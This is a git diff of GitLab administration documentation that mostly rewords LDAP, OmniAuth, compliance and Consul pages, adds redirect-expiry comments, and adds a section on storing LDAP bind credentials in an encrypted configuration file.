+++ b/doc/administration/auth/jwt.md
@@ -2,7 +2,7 @@
type: reference
stage: Manage
group: Access
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# JWT OmniAuth provider
@@ -62,7 +62,7 @@ JWT will provide you with a secret key for you to use.
}
```
- NOTE: **Note:**
+ NOTE:
For more information on each configuration option refer to
the [OmniAuth JWT usage documentation](https://github.com/mbleigh/omniauth-jwt#usage).
diff --git a/doc/administration/auth/ldap-ee.md b/doc/administration/auth/ldap-ee.md
index f5565628af1..6d56654a44b 100644
--- a/doc/administration/auth/ldap-ee.md
+++ b/doc/administration/auth/ldap-ee.md
@@ -3,3 +3,6 @@ redirect_to: 'ldap/index.md'
---
This document was moved to [another location](ldap/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/administration/auth/ldap-troubleshooting.md b/doc/administration/auth/ldap-troubleshooting.md
index a553f449abb..1e02755e3e5 100644
--- a/doc/administration/auth/ldap-troubleshooting.md
+++ b/doc/administration/auth/ldap-troubleshooting.md
@@ -3,3 +3,6 @@ redirect_to: 'ldap/ldap-troubleshooting.md'
---
This document was moved to [another location](ldap/ldap-troubleshooting.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/administration/auth/ldap.md b/doc/administration/auth/ldap.md
index f5565628af1..6d56654a44b 100644
--- a/doc/administration/auth/ldap.md
+++ b/doc/administration/auth/ldap.md
@@ -3,3 +3,6 @@ redirect_to: 'ldap/index.md'
---
This document was moved to [another location](ldap/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/administration/auth/ldap/google_secure_ldap.md b/doc/administration/auth/ldap/google_secure_ldap.md
index 90f0e681dd1..dcfb77f277e 100644
--- a/doc/administration/auth/ldap/google_secure_ldap.md
+++ b/doc/administration/auth/ldap/google_secure_ldap.md
@@ -2,7 +2,7 @@
type: reference
stage: Manage
group: Access
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Google Secure LDAP **(CORE ONLY)**
@@ -34,7 +34,7 @@ The steps below cover:
'Entire domain (GitLab)' or 'Selected organizational units' for both 'Verify user
credentials' and 'Read user information'. Select 'Add LDAP Client'
- TIP: **Tip:**
+ NOTE:
If you plan to use GitLab [LDAP Group Sync](index.md#group-sync)
, turn on 'Read group information'.
@@ -210,6 +210,11 @@ values obtained during the LDAP client configuration earlier:
1. Save the file and [restart](../../restart_gitlab.md#installations-from-source) GitLab for the changes to take effect.
+## Using encrypted credentials
+
+You can optionally store the `bind_dn` and `password` in a separate encrypted configuration file using the
+[same steps as the regular LDAP integration](index.md#using-encrypted-credentials).
+
<!-- ## Troubleshooting
Include any troubleshooting steps that you can foresee. If you know beforehand what issues
diff --git a/doc/administration/auth/ldap/index.md b/doc/administration/auth/ldap/index.md
index 9d88d66bf46..4dedaba3754 100644
--- a/doc/administration/auth/ldap/index.md
+++ b/doc/administration/auth/ldap/index.md
@@ -2,7 +2,7 @@
type: reference
stage: Manage
group: Access
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# General LDAP Setup
@@ -46,10 +46,10 @@ the LDAP server or share email addresses.
### User deletion **(CORE ONLY)**
-If a user is deleted from the LDAP server, they will be blocked in GitLab as
-well. Users will be immediately blocked from logging in. However, there is an
+If a user is deleted from the LDAP server, they are also blocked in GitLab.
+Users are immediately blocked from logging in. However, there is an
LDAP check cache time of one hour (see note) which means users that
-are already logged in or are using Git over SSH will still be able to access
+are already logged in or are using Git over SSH are be able to access
GitLab for up to one hour. Manually block the user in the GitLab Admin Area to
immediately block all access.
@@ -66,8 +66,8 @@ in the application settings.
When a user signs in to GitLab with LDAP for the first time, and their LDAP
email address is the primary email address of an existing GitLab user, then
-the LDAP DN will be associated with the existing user. If the LDAP email
-attribute is not found in GitLab's database, a new user is created.
+the LDAP DN is associated with the existing user. If the LDAP email
+attribute is not found in the GitLab user database, a new user is created.
In other words, if an existing GitLab user wants to enable LDAP sign-in for
themselves, they should check that their GitLab email address matches their
@@ -91,10 +91,10 @@ There is a Rake task to check LDAP configuration. After configuring LDAP
using the documentation below, see [LDAP check Rake task](../../raketasks/check.md#ldap-check)
for information on the LDAP check Rake task.
-NOTE: **Note:**
+NOTE:
The `encryption` value `simple_tls` corresponds to 'Simple TLS' in the LDAP
library. `start_tls` corresponds to StartTLS, not to be confused with regular TLS.
-Normally, if you specify `simple_tls` it will be on port 636, while `start_tls` (StartTLS)
+Normally, if you specify `simple_tls` it is on port 636, while `start_tls` (StartTLS)
would be on port 389. `plain` also operates on port 389. Removed values: `tls` was replaced with `start_tls` and `ssl` was replaced with `simple_tls`.
LDAP users must have a set email address, regardless of whether or not it's used
@@ -167,27 +167,27 @@ production:
| Setting | Description | Required | Examples |
| ------- | ----------- | -------- | -------- |
-| `label` | A human-friendly name for your LDAP server. It will be displayed on your sign-in page. | yes | `'Paris'` or `'Acme, Ltd.'` |
+| `label` | A human-friendly name for your LDAP server. It is displayed on your sign-in page. | yes | `'Paris'` or `'Acme, Ltd.'` |
| `host` | IP address or domain name of your LDAP server. | yes | `'ldap.mydomain.com'` |
| `port` | The port to connect with on your LDAP server. Always an integer, not a string. | yes | `389` or `636` (for SSL) |
-| `uid` | LDAP attribute for username. Should be the attribute, not the value that maps to the `uid`. | yes | `'sAMAccountName'`, `'uid'`, `'userPrincipalName'` |
-| `bind_dn` | The full DN of the user you will bind with. | no | `'america\momo'` or `'CN=Gitlab,OU=Users,DC=domain,DC=com'` |
+| `uid` | LDAP attribute for username. Should be the attribute, not the value that maps to the `uid`. | yes | `'sAMAccountName'` or `'uid'` or `'userPrincipalName'` |
+| `bind_dn` | The full DN of the user you bind with. | no | `'america\momo'` or `'CN=Gitlab,OU=Users,DC=domain,DC=com'` |
| `password` | The password of the bind user. | no | `'your_great_password'` |
| `encryption` | Encryption method. The `method` key is deprecated in favor of `encryption`. | yes | `'start_tls'` or `'simple_tls'` or `'plain'` |
| `verify_certificates` | Enables SSL certificate verification if encryption method is `start_tls` or `simple_tls`. Defaults to true. | no | boolean |
-| `timeout` | Set a timeout, in seconds, for LDAP queries. This helps avoid blocking a request if the LDAP server becomes unresponsive. A value of 0 means there is no timeout. | no | `10` or `30` |
+| `timeout` | Set a timeout, in seconds, for LDAP queries. This helps avoid blocking a request if the LDAP server becomes unresponsive. A value of `0` means there is no timeout. (default: `10`) | no | `10` or `30` |
| `active_directory` | This setting specifies if LDAP server is Active Directory LDAP server. For non-AD servers it skips the AD specific queries. If your LDAP server is not AD, set this to false. | no | boolean |
-| `allow_username_or_email_login` | If enabled, GitLab will ignore everything after the first `@` in the LDAP username submitted by the user on sign-in. If you are using `uid: 'userPrincipalName'` on ActiveDirectory you need to disable this setting, because the userPrincipalName contains an `@`. | no | boolean |
-| `block_auto_created_users` | To maintain tight control over the number of active users on your GitLab installation, enable this setting to keep new users blocked until they have been cleared by the admin (default: false). | no | boolean |
+| `allow_username_or_email_login` | If enabled, GitLab ignores everything after the first `@` in the LDAP username submitted by the user on sign-in. If you are using `uid: 'userPrincipalName'` on ActiveDirectory you need to disable this setting, because the userPrincipalName contains an `@`. | no | boolean |
+| `block_auto_created_users` | To maintain tight control over the number of billable users on your GitLab installation, enable this setting to keep new users blocked until they have been cleared by an administrator (default: false). | no | boolean |
| `base` | Base where we can search for users. | yes | `'ou=people,dc=gitlab,dc=example'` or `'DC=mydomain,DC=com'` |
| `user_filter` | Filter LDAP users. Format: [RFC 4515](https://tools.ietf.org/search/rfc4515) Note: GitLab does not support `omniauth-ldap`'s custom filter syntax. | no | `'(employeeType=developer)'` or `'(&(objectclass=user)(|(samaccountname=momo)(samaccountname=toto)))'` |
-| `lowercase_usernames` | If lowercase_usernames is enabled, GitLab will lower case the username. | no | boolean |
+| `lowercase_usernames` | If lowercase_usernames is enabled, GitLab converts the name to lower case. | no | boolean |
### SSL Configuration Settings **(CORE ONLY)**
| Setting | Description | Required | Examples |
| ------- | ----------- | -------- | -------- |
-| `ca_file` | Specifies the path to a file containing a PEM-format CA certificate, e.g. if you need to use an internal CA. | no | `'/etc/ca.pem'` |
+| `ca_file` | Specifies the path to a file containing a PEM-format CA certificate, for example, if you need to use an internal CA. | no | `'/etc/ca.pem'` |
| `ssl_version` | Specifies the SSL version for OpenSSL to use, if the OpenSSL default is not appropriate. | no | `'TLSv1_1'` |
| `ciphers` | Specific SSL ciphers to use in communication with LDAP servers. | no | `'ALL:!EXPORT:!LOW:!aNULL:!eNULL:!SSLv2'` |
| `cert` | Client certificate | no | `'-----BEGIN CERTIFICATE----- <REDACTED> -----END CERTIFICATE -----'` |
@@ -195,11 +195,11 @@ production:
### Attribute Configuration Settings **(CORE ONLY)**
-LDAP attributes that GitLab will use to create an account for the LDAP user. The specified attribute can either be the attribute name as a string (e.g. `'mail'`), or an array of attribute names to try in order (e.g. `['mail', 'email']`). Note that the user's LDAP sign-in will always be the attribute specified as `uid` above.
+LDAP attributes that GitLab uses to create an account for the LDAP user. The specified attribute can either be the attribute name as a string (for example, `'mail'`), or an array of attribute names to try in order (for example, `['mail', 'email']`). Note that the user's LDAP sign-in is the attribute specified as `uid` above.
| Setting | Description | Required | Examples |
| ------- | ----------- | -------- | -------- |
-| `username` | The username will be used in paths for the user's own projects (like `gitlab.example.com/username/project`) and when mentioning them in issues, merge request and comments (like `@username`). If the attribute specified for `username` contains an email address, the GitLab username will be the part of the email address before the `@`. | no | `['uid', 'userid', 'sAMAccountName']` |
+| `username` | The username is used in paths for the user's own projects (like `gitlab.example.com/username/project`) and when mentioning them in issues, merge request and comments (like `@username`). If the attribute specified for `username` contains an email address, the GitLab username is part of the email address before the `@`. | no | `['uid', 'userid', 'sAMAccountName']` |
| `email` | LDAP attribute for user email. | no | `['mail', 'email', 'userPrincipalName']` |
| `name` | LDAP attribute for user display name. If no full name could be found at the attribute specified for `name`, the full name is determined using the attributes specified for `first_name` and `last_name`. | no | `'cn'` or `'displayName'` |
| `first_name` | LDAP attribute for user first name. | no | `'givenName'` |
@@ -335,7 +335,7 @@ an alternative such as SAML is preferred. This allows LDAP to be used for group
sync, while also allowing your SAML identity provider to handle additional
checks like custom 2FA.
-When LDAP web sign in is disabled, users will not see a **LDAP** tab on the sign in page.
+When LDAP web sign in is disabled, users don't see an **LDAP** tab on the sign in page.
This does not disable [using LDAP credentials for Git access](#git-password-authentication).
**Omnibus configuration**
@@ -360,6 +360,93 @@ This does not disable [using LDAP credentials for Git access](#git-password-auth
1. [Restart GitLab](../../restart_gitlab.md#installations-from-source) for the changes to take effect.
+### Using encrypted credentials **(CORE ONLY)**
+
+Instead of having the LDAP integration credentials stored in plaintext in the configuration files, you can optionally
+use an encrypted file for the LDAP credentials. To use this feature, you first need to enable
+[GitLab encrypted configuration](../../encrypted_configuration.md).
+
+The encrypted configuration for LDAP exists in an encrypted YAML file. By default the file will be created at
+`shared/encrypted_configuration/ldap.yaml.enc`. This location is configurable in the GitLab configuration.
+
+The unencrypted contents of the file should be a subset of the secret settings from your `servers` block in the LDAP
+configuration.
+
+The supported configuration items for the encrypted file are:
+
+- `bind_dn`
+- `password`
+
+The encrypted contents can be configured with the [LDAP secret edit Rake command](../../raketasks/ldap.md#edit-secret).
+
+**Omnibus configuration**
+
+If initially your LDAP configuration looked like:
+
+1. In `/etc/gitlab/gitlab.rb`:
+
+ ```ruby
+ gitlab_rails['ldap_servers'] = {
+ 'main' => {
+ # snip...
+ 'bind_dn' => 'admin',
+ 'password' => '123'
+ }
+ }
+ ```
+
+1. Edit the encrypted secret:
+
+ ```shell
+ sudo gitlab-rake gitlab:ldap:secret:edit EDITOR=vim
+ ```
+
+1. The unencrypted contents of the LDAP secret should be entered like:
+
+ ```yaml
+ main:
+ bind_dn: admin
+ password: '123'
+ ```
+
+1. Edit `/etc/gitlab/gitlab.rb` and remove the settings for `user_bn` and `password`.
+
+1. [Reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
+
+**Source configuration**
+
+If initially your LDAP configuration looked like:
+
+1. In `config/gitlab.yaml`:
+
+ ```yaml
+ production:
+ ldap:
+ servers:
+ main:
+ # snip...
+ bind_dn: admin
+ password: '123'
+ ```
+
+1. Edit the encrypted secret:
+
+ ```shell
+ bundle exec rake gitlab:ldap:secret:edit EDITOR=vim RAILS_ENVIRONMENT=production
+ ```
+
+1. The unencrypted contents of the LDAP secret should be entered like:
+
+ ```yaml
+ main:
+ bind_dn: admin
+ password: '123'
+ ```
+
+1. Edit `config/gitlab.yaml` and remove the settings for `user_bn` and `password`.
+
+1. [Restart GitLab](../../restart_gitlab.md#installations-from-source) for the changes to take effect.
+
## Encryption **(CORE ONLY)**
### TLS Server Authentication
@@ -383,7 +470,7 @@ be mandatory and clients cannot be authenticated with the TLS protocol.
## Multiple LDAP servers **(STARTER ONLY)**
With GitLab Enterprise Edition Starter, you can configure multiple LDAP servers
-that your GitLab instance will connect to.
+that your GitLab instance connects to.
To add another LDAP server:
@@ -391,7 +478,7 @@ To add another LDAP server:
1. Edit them to match the additional LDAP server.
Be sure to choose a different provider ID made of letters a-z and numbers 0-9.
-This ID will be stored in the database so that GitLab can remember which LDAP
+This ID is stored in the database so that GitLab can remember which LDAP
server a user belongs to.
![Multiple LDAP Servers Sign in](img/multi_login.gif)
@@ -437,7 +524,7 @@ The process executes the following access checks:
- Ensure the user is still present in LDAP.
- If the LDAP server is Active Directory, ensure the user is active (not
- blocked/disabled state). This will only be checked if
+ blocked/disabled state). This is checked only if
`active_directory: true` is set in the LDAP configuration.
In Active Directory, a user is marked as disabled/blocked if the user
@@ -446,7 +533,7 @@ has bit 2 set.
For more information, see <https://ctovswild.com/2009/09/03/bitmask-searches-in-ldap/>
The user is set to an `ldap_blocked` state in GitLab if the previous conditions
-fail. This means the user won't be able to sign in or push/pull code.
+fail. This means the user is not able to sign in or push/pull code.
The process also updates the following user information:
@@ -495,18 +582,18 @@ sync to run once every 12 hours at the top of the hour.
## Group Sync **(STARTER ONLY)**
If your LDAP supports the `memberof` property, when the user signs in for the
-first time GitLab will trigger a sync for groups the user should be a member of.
+first time GitLab triggers a sync for groups the user should be a member of.
That way they don't need to wait for the hourly sync to be granted
access to their groups and projects.
-A group sync process will run every hour on the hour, and `group_base` must be set
+A group sync process runs every hour on the hour, and `group_base` must be set
in LDAP configuration for LDAP synchronizations based on group CN to work. This allows
GitLab group membership to be automatically updated based on LDAP group members.
The `group_base` configuration should be a base LDAP 'container', such as an
'organization' or 'organizational unit', that contains LDAP groups that should
be available to GitLab. For example, `group_base` could be
-`ou=groups,dc=example,dc=com`. In the configuration file it will look like the
+`ou=groups,dc=example,dc=com`. In the configuration file it looks like the
following.
**Omnibus configuration**
@@ -539,7 +626,7 @@ following.
1. [Restart GitLab](../../restart_gitlab.md#installations-from-source) for the changes to take effect.
-To take advantage of group sync, group owners or maintainers will need to [create one
+To take advantage of group sync, group owners or maintainers need to [create one
or more LDAP group links](#adding-group-links).
### Adding group links **(STARTER ONLY)**
@@ -550,11 +637,11 @@ For information on adding group links via CNs and filters, refer to [the GitLab
As an extension of group sync, you can automatically manage your global GitLab
administrators. Specify a group CN for `admin_group` and all members of the
-LDAP group will be given administrator privileges. The configuration will look
+LDAP group will be given administrator privileges. The configuration looks
like the following.
-NOTE: **Note:**
-Administrators will not be synced unless `group_base` is also
+NOTE:
+Administrators are not synced unless `group_base` is also
specified alongside `admin_group`. Also, only specify the CN of the admin
group, as opposed to the full DN.
@@ -615,7 +702,7 @@ By default, GitLab runs a group sync process every hour, on the hour.
The values shown are in cron format. If needed, you can use a
[Crontab Generator](http://www.crontabgenerator.com).
-CAUTION: **Important:**
+WARNING:
Do not start the sync process too frequently as this
could lead to multiple syncs running concurrently. This is primarily a concern
for installations with a large number of LDAP users. Please review the
@@ -691,10 +778,10 @@ There is a lot going on with group sync 'under the hood'. This section
outlines what LDAP queries are executed and what behavior you can expect
from group sync.
-Group member access will be downgraded from a higher level if their LDAP group
+Group member access are downgraded from a higher level if their LDAP group
membership changes. For example, if a user has 'Owner' rights in a group and the
next group sync reveals they should only have 'Developer' privileges, their
-access will be adjusted accordingly. The only exception is if the user is the
+access is adjusted accordingly. The only exception is if the user is the
*last* owner in a group. Groups need at least one owner to fulfill
administrative duties.
@@ -716,13 +803,13 @@ are defined as one of the mentioned attributes. This also means GitLab supports
Microsoft Active Directory, Apple Open Directory, Open LDAP, and 389 Server.
Other LDAP servers should work, too.
-Active Directory also supports nested groups. Group sync will recursively
-resolve membership if `active_directory: true` is set in the configuration file.
+Active Directory also supports nested groups. Group sync recursively
+resolves membership if `active_directory: true` is set in the configuration file.
##### Nested group memberships
Nested group memberships are resolved only if the nested group
-is found within the configured `group_base`. For example, if GitLab sees a
+is found in the configured `group_base`. For example, if GitLab sees a
nested group with DN `cn=nested_group,ou=special_groups,dc=example,dc=com` but
the configured `group_base` is `ou=groups,dc=example,dc=com`, `cn=nested_group`
is ignored.
@@ -731,7 +818,7 @@ is ignored.
- Each LDAP group is queried a maximum of one time with base `group_base` and
filter `(cn=<cn_from_group_link>)`.
-- If the LDAP group has the `memberuid` attribute, GitLab will execute another
+- If the LDAP group has the `memberuid` attribute, GitLab executes another
LDAP query per member to obtain each user's full DN. These queries are
executed with base `base`, scope 'base object', and a filter depending on
whether `user_filter` is set. Filter may be `(uid=<uid_from_group>)` or a
@@ -750,9 +837,9 @@ LDAP group links each:
- Subsequent syncs (checking membership, no writes) took 15 minutes
These metrics are meant to provide a baseline and performance may vary based on
-any number of factors. This was a pretty extreme benchmark and most instances will
-not have near this many users or groups. Disk speed, database performance,
-network and LDAP server response time will affect these metrics.
+any number of factors. This was an extreme benchmark and most instances don't
+have near this many users or groups. Disk speed, database performance,
+network and LDAP server response time affects these metrics.
## Troubleshooting
diff --git a/doc/administration/auth/ldap/ldap-troubleshooting.md b/doc/administration/auth/ldap/ldap-troubleshooting.md
index 8920479949d..1976bab03c6 100644
--- a/doc/administration/auth/ldap/ldap-troubleshooting.md
+++ b/doc/administration/auth/ldap/ldap-troubleshooting.md
@@ -2,7 +2,7 @@
type: reference
stage: Manage
group: Access
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# LDAP Troubleshooting for Administrators
@@ -378,7 +378,7 @@ GitLab syncs the `admin_group`.
#### Sync all groups **(STARTER ONLY)**
-NOTE: **Note:**
+NOTE:
To sync all groups manually when debugging is unnecessary, [use the Rake
task](../../raketasks/ldap.md#run-a-group-sync) instead.
@@ -429,7 +429,7 @@ and more DNs may be added, or existing entries modified, based on additional
LDAP group lookups. The very last occurrence of this entry should indicate
exactly which users GitLab believes should be added to the group.
-NOTE: **Note:**
+NOTE:
10 is 'Guest', 20 is 'Reporter', 30 is 'Developer', 40 is 'Maintainer'
and 50 is 'Owner'.
@@ -673,7 +673,7 @@ adfind -h ad.example.org:636 -ssl -u "CN=GitLabSRV,CN=Users,DC=GitLab,DC=org" -u
### Rails console
-CAUTION: **Caution:**
+WARNING:
It is very easy to create, read, modify, and destroy data with the rails
console. Be sure to run commands exactly as listed.
diff --git a/doc/administration/auth/oidc.md b/doc/administration/auth/oidc.md
index 794733f860c..158182edfb5 100644
--- a/doc/administration/auth/oidc.md
+++ b/doc/administration/auth/oidc.md
@@ -2,7 +2,7 @@
type: reference
stage: Manage
group: Access
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# OpenID Connect OmniAuth provider
@@ -81,7 +81,7 @@ The OpenID Connect will provide you with a client details and secret for you to
}
```
- NOTE: **Note:**
+ NOTE:
For more information on each configuration option refer to the [OmniAuth OpenID Connect usage documentation](https://github.com/m0n9oose/omniauth_openid_connect#usage)
and the [OpenID Connect Core 1.0 specification](https://openid.net/specs/openid-connect-core-1_0.html).
diff --git a/doc/administration/auth/okta.md b/doc/administration/auth/okta.md
index 06b50be2647..50dc3b58680 100644
--- a/doc/administration/auth/okta.md
+++ b/doc/administration/auth/okta.md
@@ -2,7 +2,7 @@
type: reference
stage: Manage
group: Access
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Okta SSO provider
@@ -158,7 +158,7 @@ You might want to try this out on an incognito browser window.
## Configuring groups
-NOTE: **Note:**
+NOTE:
Make sure the groups exist and are assigned to the Okta app.
You can take a look of the [SAML documentation](../../integration/saml.md#saml-groups) on configuring groups.
diff --git a/doc/administration/auth/smartcard.md b/doc/administration/auth/smartcard.md
index d2937d36a35..9790802e413 100644
--- a/doc/administration/auth/smartcard.md
+++ b/doc/administration/auth/smartcard.md
@@ -1,7 +1,7 @@
---
stage: Manage
group: Access
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -30,7 +30,7 @@ GitLab supports two authentication methods:
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/726) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.6 as an experimental feature.
-CAUTION: **Caution:**
+WARNING:
Smartcard authentication against local databases may change or be removed completely in future
releases.
@@ -60,7 +60,7 @@ Certificate:
Smartcards with X.509 certificates using SAN extensions can be used to authenticate
with GitLab.
-NOTE: **Note:**
+NOTE:
This is an experimental feature. Smartcard authentication against local databases may
change or be removed completely in future releases.
@@ -211,7 +211,7 @@ attribute. As a prerequisite, you must use an LDAP server that:
client_certificate_required_port: 3443
```
- NOTE: **Note:**
+ NOTE:
Assign a value to at least one of the following variables:
`client_certificate_required_host` or `client_certificate_required_port`.
diff --git a/doc/administration/availability/index.md b/doc/administration/availability/index.md
index 748373c8941..4f934646ed6 100644
--- a/doc/administration/availability/index.md
+++ b/doc/administration/availability/index.md
@@ -3,3 +3,6 @@ redirect_to: ../reference_architectures/index.md
---
This document was moved to [another location](../reference_architectures/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/administration/build_artifacts.md b/doc/administration/build_artifacts.md
index 85ae2946bc8..e42f50b2e54 100644
--- a/doc/administration/build_artifacts.md
+++ b/doc/administration/build_artifacts.md
@@ -3,3 +3,6 @@ redirect_to: 'job_artifacts.md'
---
This document was moved to [job_artifacts](job_artifacts.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/administration/compliance.md b/doc/administration/compliance.md
index 4cb2c002015..85b72d7b18f 100644
--- a/doc/administration/compliance.md
+++ b/doc/administration/compliance.md
@@ -1,26 +1,29 @@
---
stage: Manage
group: Compliance
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Compliance features
-You can configure the following GitLab features to help ensure that your GitLab instance meets common compliance standards. Click a feature name for further documentation.
+You can configure the following GitLab features to help ensure that your GitLab
+instance meets common compliance standards. Click a feature name for additional
+documentation.
-GitLab’s [security features](../security/README.md) may also help you meet relevant compliance standards.
+The [security features](../security/README.md) in GitLab may also help you meet
+relevant compliance standards.
|Feature |GitLab tier |GitLab.com |
| ---------| :--------: | :-------: |
|**[Restrict SSH Keys](../security/ssh_keys_restrictions.md)**<br>Control the technology and key length of SSH keys used to access GitLab|Core+||
|**[Granular user roles and flexible permissions](../user/permissions.md)**<br>Manage access and permissions with five different user roles and settings for external users. Set permissions according to people's role, rather than either read or write access to a repository. Don't share the source code with people that only need access to the issue tracker.|Core+|✓|
|**[Enforce TOS acceptance](../user/admin_area/settings/terms.md)**<br>Enforce your users accepting new terms of service by blocking GitLab traffic.|Core+||
-|**[Email all users of a project, group, or entire server](../user/admin_area/settings/terms.md)**<br>An admin can email groups of users based on project or group membership, or email everyone using the GitLab instance. This is great for scheduled maintenance or upgrades.|Starter+||
+|**[Email all users of a project, group, or entire server](../tools/email.md)**<br>An admin can email groups of users based on project or group membership, or email everyone using the GitLab instance. This is great for scheduled maintenance or upgrades.|Starter+||
|**[Omnibus package supports log forwarding](https://docs.gitlab.com/omnibus/settings/logs.html#udp-log-forwarding)**<br>Forward your logs to a central system.|Starter+||
|**[Lock project membership to group](../user/group/index.md#member-lock)**<br>Group owners can prevent new members from being added to projects within a group.|Starter+|✓|
|**[LDAP group sync](auth/ldap/index.md#group-sync)**<br>GitLab Enterprise Edition gives admins the ability to automatically sync groups and manage SSH keys, permissions, and authentication, so you can focus on building your product, not configuring your tools.|Starter+||
|**[LDAP group sync filters](auth/ldap/index.md#group-sync)**<br>GitLab Enterprise Edition Premium gives more flexibility to synchronize with LDAP based on filters, meaning you can leverage LDAP attributes to map GitLab permissions.|Premium+||
-|**[Audit logs](audit_events.md)**<br>To maintain the integrity of your code, GitLab Enterprise Edition Premium gives admins the ability to view any modifications made within the GitLab server in an advanced audit log system, so you can control, analyze, and track every change.|Premium+||
+|**[Audit events](audit_events.md)**<br>To maintain the integrity of your code, GitLab Enterprise Edition Premium gives admins the ability to view any modifications made within the GitLab server in an advanced audit events system, so you can control, analyze, and track every change.|Premium+||
|**[Auditor users](auditor_users.md)**<br>Auditor users are users who are given read-only access to all projects, groups, and other resources on the GitLab instance.|Premium+||
|**[Credentials inventory](../user/admin_area/credentials_inventory.md)**<br>With a credentials inventory, GitLab administrators can keep track of the credentials used by all of the users in their GitLab instance. |Ultimate||
-|**Separation of Duties using [Protected branches](../user/project/protected_branches.md#protected-branches-approval-by-code-owners) and [custom CI Configuration Paths](../ci/pipelines/settings.md#custom-ci-configuration-path)**<br> GitLab Silver and Premium users can leverage GitLab's cross-project YAML configuration's to define deployers of code and developers of code. View the [Separation of Duties Deploy Project](https://gitlab.com/guided-explorations/separation-of-duties-deploy/blob/master/README.md) and [Separation of Duties Project](https://gitlab.com/guided-explorations/separation-of-duties/blob/master/README.md) to see how to use this set up to define these roles.|Premium+||
+|**Separation of Duties using [Protected branches](../user/project/protected_branches.md#protected-branches-approval-by-code-owners) and [custom CI Configuration Paths](../ci/pipelines/settings.md#custom-ci-configuration-path)**<br> GitLab Silver and Premium users can leverage the GitLab cross-project YAML configurations to define deployers of code and developers of code. View the [Separation of Duties Deploy Project](https://gitlab.com/guided-explorations/separation-of-duties-deploy/blob/master/README.md) and [Separation of Duties Project](https://gitlab.com/guided-explorations/separation-of-duties/blob/master/README.md) to see how to use this set up to define these roles.|Premium+||
diff --git a/doc/administration/consul.md b/doc/administration/consul.md
index 491251bc842..5b577443c7c 100644
--- a/doc/administration/consul.md
+++ b/doc/administration/consul.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Enablement
+group: Distribution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -77,7 +77,7 @@ Identify any existing health issues in the cluster by running the following comm
within each node. The command will return an empty array if the cluster is healthy:
```shell
-curl http://127.0.0.1:8500/v1/health/state/critical
+curl "http://127.0.0.1:8500/v1/health/state/critical"
```
Consul nodes communicate using the raft protocol. If the current leader goes
@@ -133,7 +133,7 @@ you will need to follow the Consul [outage recovery](#outage-recovery) process.
To be safe, it's recommended that you only restart Consul in one node at a time to
ensure the cluster remains intact. For larger clusters, it is possible to restart
multiple nodes at a time. See the
-[Consul consensus document](https://www.consul.io/docs/internals/consensus.html#deployment-table)
+[Consul consensus document](https://www.consul.io/docs/architecture/consensus#deployment-table)
for how many failures it can tolerate. This will be the number of simultaneous
restarts it can sustain.
diff --git a/doc/administration/container_registry.md b/doc/administration/container_registry.md
index 7a533aa9043..52941556237 100644
--- a/doc/administration/container_registry.md
+++ b/doc/administration/container_registry.md
@@ -3,3 +3,6 @@ redirect_to: 'packages/container_registry.md'
---
This document was moved to [another location](packages/container_registry.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
